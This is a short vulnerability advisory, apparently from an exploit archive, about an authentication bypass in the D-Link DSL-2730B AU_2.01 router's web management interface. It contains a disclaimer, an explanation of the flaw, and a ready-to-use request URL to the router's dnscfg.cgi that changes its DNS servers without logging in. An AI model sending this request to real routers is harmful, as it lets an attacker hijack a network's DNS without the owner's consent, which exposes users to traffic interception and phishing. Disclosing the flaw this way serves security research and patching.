D-Link DSL-2730B AU_2.01 Authentication Bypass DNS Change

` D-Link DSL-2730B AU_2.01   
Authentication Bypass DNS Change  
  
Copyright 2015 (c) Todor Donev   
<todor.donev at gmail.com>  
http://www.ethical-hacker.org/  
https://www.facebook.com/ethicalhackerorg  
  
Disclaimer:  
This or previous programs is for Educational  
purpose ONLY. Do not use it without permission.  
The usual disclaimer applies, especially the  
fact that Todor Donev is not liable for any  
damages caused by direct or indirect use of the  
information or functionality provided by these  
programs. The author or any Internet provider  
bears NO responsibility for content or misuse  
of these programs or any derivatives thereof.  
By using these programs you accept the fact  
that any damage (dataloss, system crash,  
system compromise, etc.) caused by the use  
of these programs is not Todor Donev's  
responsibility.  
  
Use them at your own risk!  
  
This security hole allows an attacker to bypass   
authentication and change the DNS. When the  
administrator is logged in the web management   
interface, an attacker may be able to completely   
bypass authentication phase and connect to the   
web management interface with administrator's   
credentials. This attack can also be performed   
by an external attacker who connects to the   
router's public IP address, if remote management   
is enabled. To change the DNS without logging   
into web management interface use the following URL:  
  
http://TARGET/dnscfg.cgi?dnsPrimary=8.8.8.8&dnsSecondary=8.8.4.4&dnsDynamic=0&dnsRefresh=1&dnsIfcsList=  
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